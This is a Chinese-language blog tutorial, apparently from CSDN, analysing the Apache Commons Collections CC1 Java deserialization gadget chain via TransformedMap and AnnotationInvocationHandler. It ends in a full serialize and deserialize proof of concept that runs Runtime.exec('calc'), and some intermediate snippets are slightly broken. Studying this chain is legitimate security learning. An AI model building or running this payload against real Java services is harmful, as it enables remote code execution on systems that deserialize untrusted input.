CommonsCollections1 (CC1链分析)之TransformMap

CommonsCollections1 (CC1链分析)

什么是Commons Collections?

根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

TransformMap

我们想要利用的是JAVA反序列化来实现我们执行恶意代码的目的,我们在去寻找readObject这个序列化函数利用之前,我们可以去寻找我们能执行我们的恶意代码的地方,这里我们就可以使用org.apache.commons.collections.Transformer#transform这里面的transform方法来达到第一个目的

第一阶段----利用InvokerTransformer(找到可以RCE的点)

首先我们可以查看transformer.class这个文件里面

package org.apache.commons.collections;

public interface Transformer {
    21 implenments
    Object transform(Object var1);
}

这里面很多其他的类都实现了这个接口

在这里插入图片描述

这里就需要我们来一个一个的看一看有没有可以利用的地方了,这里有很多的类,我们看一看里面对transform方法的实现就OK了

##ChainedTransformer
 private final Transformer[] iTransformers;
 public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
}
 public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
     return object;
}//这个transform方法对我们的对象进行了遍历,然后传递给了iTransformers[i]这个数组。
这个似乎对传入对象的类型是有要求的。
//ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
##ConstantTransformer
    private final Object iConstant;
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }//这个方法实际就是调用了一下这个方法,返回构造方法里面的类而已。可以用来获取类。
##ClosureTransformer
 private final Closure iClosure;
 public Object transform(Object input) {
      this.iClosure.execute(input);
      return input;
 }
//这里的excute最开始我是觉得有命令执行点的,但是这是没用的。
##InvokerTransformer
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } 
            
            
            catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }
    //这个就比较的有意思了,这里面反射得到invoke函数可以用来命令执行的,调用这个类里面的这个方法就能达到我们RCE的目的了

这个InvokerTransformer的规范使用

InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

里面需要三个参数用来描述命令

这里实际上我们就可以联系之前的反射RCE来弹计算机了,我们可以使用ConstantTransformer这个类里面的transform方法来获取我们的Runtime类

new ConstantTransformer(Runtime.getRuntime());//普通的类可以实例化

这样我们再使用InvokerTransformer里面的transform方法来RCE

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

这里我们有两种思路

  1. 直接使用Runtime R=Runtime.getRuntime();,来代替ConstantTransformer的transform方法,作为InvokerTransformer的Object input.
  2. 找到能同时调用两个类里面的transform方法,这里我们可以使用ChainedTransformer里面的数组遍历的方式,然后实现对数组里面的对象的方法进行调用

第一种思路实现RCE

public class cc1 {
    public static void main(String []args) throws Exception{
        Runtime R=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        System.out.println(invokerTransformer.transform(R));
    }
}

第二种思路数组遍历调用方法实现RCE

  • 首先测试数组遍历是否能执行里面对象的方法

    public class ceshi {
        // 定义一个函数,打印整数参数
        public static void printNumber(int number) {
            System.out.println("打印数组元素: " + number);
        }
        public static void main(String[] args) {
            // 创建一个整数数组
            int[] numbers = {1, 2, 3, 4, 5};
            // 遍历数组,调用函数打印每个元素
            for (int number : numbers) {
                printNumber(number);
            }
        }
    }
    
    打印数组元素: 1
    打印数组元素: 2
    打印数组元素: 3
    打印数组元素: 4
    打印数组元素: 5
    

    测试成功,

    public static void main(String []args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    }

这里就有另外一个问题了就是怎么调用ChainedTransformer呢,下面我们慢慢实现它。

第二阶段—找到能形成链子的类和方法—》TransformedMap

在我们给出的CC1链子里面会有这一步

在这里插入图片描述

这里凭借猜测都会知道,这个肯定是调用了我们第一阶段里面的ChainedTransformer,这里我们直接通过下断点看他会进入哪里
在这里插入图片描述
在这里插入图片描述

这里调试之后去会进入TransformedMap这个类里面,开始分析这个类

   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。

Map innermap=new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

这里我们就得想了,我们用这个TransformedMap可以实现回调的功能但是我们的回调又如何触发嘞?

这里搜索得到,我们可以使用put方法写入键值来触发回调

outerMap.put("test", "xxxx");xxxxxxxxxx outer.outerMap.put("test", "xxxx");

这里我们就可以写出一个简单的demo了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String []args) throws Exception{
        Transformer[] transformers =new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("invoke", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap=new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("value","null");
    }
}

这段代码就可以让我们弹出计算机了,但是我们这里实际上只是一个分析得到的demo,我们真正的POC实际上是需要使用反序列化的,这里我们就需要开始寻找在哪里存在我们的readObject实现遍历目录的操作?

第三阶段—实现完整的反序列化POC

接下来我们需要找到一个类,这个类重写了readObject(),并且readObject中直接或者间接的调用了刚刚找到的那几个方法:transformKey、transformValue、checkSetValue、put等等

这里我们就是直接开始从TransformedMap里面开始追踪,这里面的checkSetValue是调用了我们的transform方法的,所以
在这里插入图片描述
这里会追踪到AbstractInputCheckedMapDecorator里面的setValue方法
在这里插入图片描述

可以看到这个类实际上是继承于AbstractMapEntryDecorator

在这里插入图片描述

追踪到这我们可以总结出来,实际上我们想要调用transform方法就通过一系列的调用只要实现setValue的调用,我们就可以达到

这里我分析时出现一个问题就是,为什么一定要去分析setValue呢?

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
 protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

这里调用这个SetValue的时候实际上也就是我们再简洁的调用了TransformeMap里面的装饰器功能,达到了我们对方法进行调用的目的,所以这里直接去找哪里重写的readObject,具体怎么找有待分析,这里直接找到现成的 AnnotationInvocationHandler类里面的方法
在这里插入图片描述

这个类简直完美的适配我们的要求,能在触发反序列化的同时完成对数组的遍历。

这里使用这个类实际得注意

  • 这个类是sun.reflect.annotation.AnnotationInvocationHandler类,这个类是jdk自带的,不是第三方的,必须得利用反射来获取到这个类、

这里又会有一个思考的地方就是我们的 constructor.newInstance这个方法实例化的类到底是什莫呢,

  1. 这里最开始是想直接使用一个transform.class,直接报错了

    在这里插入图片描述

  2. 这里说是非注解型类型,难道这里是需要使用注解类型来使用吗?

注解类型的定义看起来和接口的定义很像,最早是在interface关键词前加了at标志(@) (@ = AT, as in annotation type)。注解类型是接口的一种形式

  • 简单来说就是有@的类都可以叫做注解类
  • 在这里插入图片描述

这里我们使用Retention这个注解类,注解class,来获取构造函数,执行调用,利于反序列化操作。

public class cc1 {
    public static void main(String []args) throws Exception{
        Transformer[] transformers =new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("invoke", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap=new HashMap();
        innerMap.put("value","null");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
        constructor.setAccessible(true); //修改作用域
        constructor.newInstance(Retention.class,outerMap);
    }
}

这里就很奇怪了,我们执行成功了但是却没有成功弹出我们想要的计算机?

这里通过看了文章才知道,我们的调用Runtime.class的时候实际上是没有实现serialize接口的,所以我们就得使用其他方法反射得到方法

Class clazz = Runtime.class;
       Method getRuntimeMethod = clazz.getMethod("getRuntime");
       Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
       Class<? extends Runtime> runtimeClass = runtime.getClass();
       Method execMethod = runtimeClass.getMethod("exec", String.class);
//这个是我们传统的方式,但是这个不能实现序列化和反序列化的操作
new ConstantTransformer(Runtime.class),// 获取 Runtime 对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 // 获取 exec 的 Method 对象并调用 invoke 执行 calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

这里我们的完整的demo就出来了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.text.Annotation;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String []args) throws Exception{
        Transformer[] transformers =new Transformer[] {
                new ConstantTransformer(Runtime.class),// 获取 Runtime 对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                // 获取 exec 的 Method 对象并调用 invoke 执行 calc
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap=new HashMap();
        innerMap.put("value","null");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//触发回调函数,遍历数组

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
        constructor.setAccessible(true); //修改作用域
        //序列化
        Object serializableObject = constructor.newInstance(Retention.class, outerMap);
        ObjectOutputStream out =new ObjectOutputStream(new FileOutputStream("1.bin"));
        out.writeObject(serializableObject);
        //反序列化
        ObjectInputStream in =new ObjectInputStream(new FileInputStream("1.bin"));
        in.readObject();
    }
}


最后我们来梳理一下思路

  1. 首先我们利用的是CommmonCollection里面的transform方法,找到了一个接口类transform.class,然后我们就去寻找了实现这个类的其他类,找到了可以反射获得对象的ConstantTransformer,命令执行的InvokerTransformer.调用前面两个类的ChainedTransformer(使用数组的方式)

  2. 然后我们就找到了TransformedMap,利用这个类的装饰器的功能,使用回调功能让我们实现对数组的遍历

  3. 最后就是我们得寻找一个重写readObject方法的类,里面能够在触发反序列化的时候实现对前面transform方法的触发,并且能够遍历数组,这里使用的就是

    AnnotationInvocationHandler

  4. readObject-->Setvalue-->transform-->InvokerTransform
    //个人看法
    
        //transformMap
    	ObjectInputStream.readObject()
    			AnnotationInvocationHandler.readObject()-->调用Setvalue
    							ChainedTransformer.transform()
    								ConstantTransformer.transform()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Class.getMethod()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.getRuntime()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.exec()
    
    
  • 48
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值